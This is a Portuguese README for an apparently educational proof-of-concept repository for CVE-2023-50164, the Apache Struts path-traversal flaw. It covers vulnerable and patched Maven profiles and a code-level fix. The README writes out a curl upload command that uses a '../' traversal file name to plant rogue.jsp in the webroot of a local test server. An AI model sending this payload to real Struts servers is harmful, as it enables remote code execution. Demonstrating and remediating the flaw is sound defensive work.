
Prova de conceito para exploração do CVE-2023-50164, uma vulnerabilidade de path traversal no Apache Struts que permite execução remota de código. Inclui ambientes de demonstração vulnerável e corrigido para teste e aprendizado.
Este é um Prova de Conceito (PoC) para CVE-2023-50164, que descreve uma nova vulnerabilidade de path traversal que pode levar à Execução Remota de Código (RCE) em struts-core.
Para remediar o problema, recomenda-se atualizar para Struts 2.5.33 ou Struts 6.3.0.2 ou superior.
Este repositório baseia-se no excelente trabalho de Henrik Plate encontrado aqui.
Existem dois perfis maven neste projeto: vuln e no-vuln. vuln é o padrão.
Para executar com a vulnerabilidade RCE, execute o seguinte:
mvn clean jetty:run -P vuln
Para executar sem a vulnerabilidade RCE, execute o seguinte:
mvn clean jetty:run -P no-vuln
A diferença entre os dois perfis é que vuln usa a versão 6.3.0.1 do struts-core (que possui a vulnerabilidade de path traversal) e no-vuln usa a versão 6.3.0.2 do struts-core (que não possui a vulnerabilidade de path traversal)
enquanto executa o perfil vuln descrito acima, execute o seguinte:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Você poderá ver o arquivo rogue.jsp na pasta src/main/webapp e poderá acessá-lo em:
http://localhost:9999/struts-vuln-poc/rogue.jsp (você verá uma mensagem Ya been PWNED!).
Existe uma solução de correção de código que funciona com as versões mais antigas do Struts, mas, ainda é altamente recomendável atualizar sua versão do Struts.
Para exercitar a correção de código, execute o seguinte:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Você verá uma mensagem de erro: Attempted path traversal attack
NOTA: Se você usar o perfil no-vuln, não verá uma mensagem de erro do endpoint /upload-no-vuln, mesmo se usar um caminho relativo como: ../src/main/webapp/rogue.jsp, pois a nova versão do struts remove automaticamente as referências a caminhos relativos.